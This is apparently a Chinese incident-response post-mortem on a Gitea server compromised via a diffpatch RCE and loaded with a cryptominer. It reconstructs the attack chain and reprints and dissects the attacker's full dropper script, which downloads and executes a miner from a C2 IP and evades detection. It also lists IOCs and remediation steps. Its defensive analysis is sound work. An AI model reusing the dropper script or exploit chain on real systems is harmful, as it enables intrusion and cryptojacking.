
一次 Gitea 挖矿入侵应急响应复盘
一次 Gitea 挖矿木马入侵的完整应急响应复盘:diffpatch RCE 攻击链还原、C2 投放脚本逆向,以及处置与加固全过程。
一台 Gitea 被 diffpatch RCE 打穿,矿工跑了 6 分钟才被逮住。
事件时间线
| 时间(2026-08-12) | 事件 |
|---|---|
| 16:46 | 恶意进程 /tmp/XXmNHBfI 启动,CPU 飙到 347% |
| 16:49 | 收到腾讯云告警邮件(CPU 利用率 > 80%),派 agent 上机排查 |
| 16:52 | 定位并击杀矿工进程,矿工存活约 6 分钟 |
| 17:35 | 取证完成、漏洞修复、账号清理、密钥轮换全部落定 |
一、事件概述
我的一台腾讯云服务器上,自托管的 Gitea 代码托管实例被攻破。攻击者利用 Gitea 的 diffpatch API 远程代码执行漏洞(CVE-2026-60004),配合一个 orgmode 任意文件读取漏洞(CVE-2026-59774),在服务器上投放了挖矿木马。
事情的起点很普通:我收到一封腾讯云的告警邮件,提示 CPU 利用率超过了 80%。我让 agent 上服务器检查,才发现 CPU 已经被一个陌生进程顶到了 347%。好在发现得早,矿工只跑了 6 分钟就被按住了,数据库和宿主机都没被进一步渗透。
二、攻击链还原
2.1 diffpatch RCE 是怎么进来的
被利用的版本是 Gitea EE 25.5.0。核心漏洞是 diffpatch API 的远程代码执行(CVE-2026-60004 / GHSA-rcr6-4jqh-j84m,官方定级 CRITICAL,CVSS 9.8,影响范围 >=1.17, <1.27.1)。
Gitea 的 diffpatch 端点(services/repository/files/patch.go)会在一个共享的裸临时 clone 上应用攻击者提交的补丁。利用链路很刁钻:
- 攻击者向同一仓库提交两次完全相同的补丁,触发 Git 的 add/add 冲突;
- 冲突后 Git 走 three-way fallback 逻辑,即使在
--cached模式下也会把 indexed path 检出到工作区; - 攻击者精心构造的补丁里,有一个名为
hooks/post-index-change的可执行文件,检出后就成了一个活的 Git hook; - Git 在写 index 时会调用这个 hook,于是攻击者的命令以 Gitea 服务账号的权限执行。
配合当时开放的注册功能,攻击者不用任何已有凭据,注册一个账号、建一个仓库,就能走完整条利用链。这就是我这次被打进来的前置条件。
佐证:官方修复 PR #38637(
refactor: git patch apply)与 #38642(fix: orgmode render include path)随 v1.27.1 发布,release notes 中列为 SECURITY 修复。不过 Gitea 的惯例是把安全修复伪装成普通 refactor,两个 PR 的标题和正文里都没有写 CVE 编号,漏洞详情只在 GitHub Security Advisory 里公开。
2.2 一口气注册了 16 个号
攻击者利用了 Gitea 当时开放的注册功能,一口气创建了 16 个账号:
testpoc*系列 × 15(如testpoc60874、testpoc60504…)xzplhjkfmx
这些账号随后各自创建仓库、写入恶意 hook 载荷,实现远程命令执行。
2.3 C2 下载器
拿到命令执行后,攻击者从 C2 拉取了一个投放脚本,把挖矿木马塞进系统。
2.4 矿工落地
最终落地的是一个 562KB 的 x86-64 ELF 矿工(静态链接,SHA256 DB364E1B...),进程名是随机生成的 8 位字母数字(XXmNHBfI),连向矿池 47.76.81.186:33333,用 347% 的 CPU 开始挖矿。
三、C2 投放脚本逆向分析
这是本次事件里最硬核的部分。攻击者的投递脚本(c2-downloader-172.245.88.160.sh)物理上只有 7 行,几乎每行都有反检测心思。先看完整脚本:
#!/bin/sh
__a=$(uname -m);unset LD_PRELOAD 2>/dev/null;unset LD_LIBRARY_PATH 2>/dev/null
[ "$__a" = "x86_64" ]&&__u="http://172.245.88.160/1";[ "$__a" = "aarch64" ]&&__u="http://172.245.88.160/2";[ "$__a" = "amd64" ]&&__u="http://172.245.88.160/3"
__p=$(mktemp -u XXXXXXXX 2>/dev/null | tr -cd 'A-Za-z0-9' | cut -c1-8); [ -n "$__p" ] || __p=$(printf '%08d' "$$" | cut -c1-8)
__d() { local ___ur="$1" __hp __h __p __pa; __hp=$(printf '%s' "$___ur" | sed -E 's|^https?://||;s|/.*||'); __p=$(printf '%s' "$__hp" | grep -o ':[0-9]*' | tr -d ':'); __h=$(printf '%s' "$__hp" | sed 's|:.*||'); __pa=/$(printf '%s' "$___ur" | sed -E 's|https?://[^/]*/?||'); [ -z "$__h" ] && return 1; { command -v curl >/dev/null 2>&1 && curl -sSo - "$___ur" 2>/dev/null && return 0; }; { command -v wget >/dev/null 2>&1 && wget -qO - "$___ur" 2>/dev/null && return 0; }; { command -v python3 >/dev/null 2>&1 && python3 -c "import urllib.request as u,sys; sys.stdout.buffer.write(u.urlopen('$___ur').read())" 2>/dev/null && return 0; }; command -v perl >/dev/null 2>&1 && { perl -MHTTP::Tiny -e "my \$r=HTTP::Tiny->new->get('$___ur'); die unless \$r->{success}; print \$r->{content}" 2>/dev/null && return 0; perl -MIO::Socket::INET -e 'my $s=IO::Socket::INET->new("'"${__h}:${__p:-80}"'") or die $!; print $s "GET '"$__pa"' HTTP/1.0\r\nHost: '"$__h"'\r\n\r\n"; 1 while <$s> !~ /^\r?$/; print while <$s>;' 2>/dev/null && return 0; }; }
__wd=$(_seen=""; for _m in /tmp ${HOME:-} ${PWD:-} $(mount 2>/dev/null | while read -r _ _ mp _; do printf '%s ' "$mp"; done); do case " $_seen " in *" $_m "*) continue ;; esac; [ -n "$_m" ] && touch "$_m/.p$$" 2>/dev/null && rm -f "$_m/.p$$" && _seen="$_seen $_m" && printf '%s ' "$_m"; done); [ -n "$__wd" ] || __wd=/tmp
for i in $__wd;do (__d $__u > $i/$__p)2>/dev/null&&[ -s $i/$__p ]&&(cd $i;chmod +x $__p;./$__p;wait $!;rm -rf $i/$__p)>/dev/null 2>&1;grep -qE '^\./[A-Za-z0-9]{8}$' /proc/[0-9]*/cmdline 2>/dev/null&&break;done
脚本不长,但每行都有讲究。
先看前两行:unset LD_PRELOAD / LD_LIBRARY_PATH 把很多 HIDS 靠 LD_PRELOAD hook 系统调用来监控进程的路子直接废掉,再按 uname -m 选对应架构的矿工二进制(/1、/2、/3)。
然后是随机进程名:mktemp -u XXXXXXXX | tr -cd 'A-Za-z0-9' | cut -c1-8 生成 8 位随机字母数字串当落盘文件名,这就是矿工叫 XXmNHBfI 的由来,绕开基于进程名的规则匹配;生成失败就退化成 printf '%08d' "$$"。
下载函数 __d() 依次尝试 curl → wget → python3(urllib)→ perl(HTTP::Tiny,再退化到裸 IO::Socket::INET 手动拼 HTTP 请求),机器上只要有其中任意一个,就能把矿工拉下来。
接着枚举所有可写目录(/tmp、$HOME、$PWD 以及所有挂载点)逐个投递执行,跑起来立刻 rm -rf 删掉二进制,磁盘上不留矿工文件,只留一个正在跑的进程。
最后扫 /proc/*/cmdline,发现已经有一个 ./随机8位 在跑就 break,避免同一台机器重复挖矿互相抢 CPU,也少点暴露面。
这套写法明显是老手批量搞矿机的路子,不是随手拼的脚本。
四、应急响应处置
顺序是先把火扑灭,再补漏洞,最后收拾:
- kill 掉挖矿进程,先把 CPU 掐下来
- Gitea 升级到 1.27.1,两个漏洞一并补上
- 关注册、禁用全部恶意账号、轮换所有密钥
- 不必要的服务改绑内网,收紧 SSH 和 fail2ban
- 确认数据库没被进一步渗透,样本留档
五、复盘总结
被攻破的原因就两条:暴露在公网的 Gitea 带着未修复的 RCE 漏洞,加上注册功能开放,攻击者能自助建号。
能扛住没扩大,靠的是三件事:
- 腾讯云的 CPU 告警邮件第一时间提醒了我,不然一个连文件都自删了的矿工进程可能在后台默默跑很久
- 收到告警直接派 agent 上机排查,几分钟就定位到矿工并按住了
- Gitea 跑在 Docker 容器里,攻击者拿到的是容器内的权限,宿主机没被直接污染
教训没什么新鲜的,但这次是真挨了打才记住的:
- 自托管服务要跟住安全公告,RCE 级别的 CVE 拖一天就是在裸奔
- 对外服务默认「最小暴露」,开放注册等于给攻击者开门,能关就关
但我想强调的是另一件事:这次从定位、排查到审计,全程是 AI agent 干的,而当天用的模型仅仅是 DeepSeek-V4-Flash,一个便宜到几乎不花钱的模型。
附录:IOC(可公开分享)
| 类型 | 值 |
|---|---|
| C2 服务器 | 172.245.88.160(HTTP,托管矿工二进制) |
| 备用 C2 | repositorylinux.dpdns.org(HTTPS,动态 DNS,事发后已下线) |
| 矿池 | 47.76.81.186:33333 |
| 恶意进程特征 | /tmp/ 下 8 位随机字母数字名,运行后自删 |
| 攻击账号 | testpoc* × 15 + xzplhjkfmx |
| 矿工样本 SHA256 | DB364E1BBA585912968472E1546440020B34DE58A3510BDA3651E41BA67A183D |
| 漏洞 | Gitea diffpatch RCE(CVE-2026-60004 / GHSA-rcr6-4jqh-j84m,CRITICAL,CVSS 9.8)+ orgmode 文件读取(CVE-2026-59774);官方 v1.27.1 修复,PR #38637 / #38642 |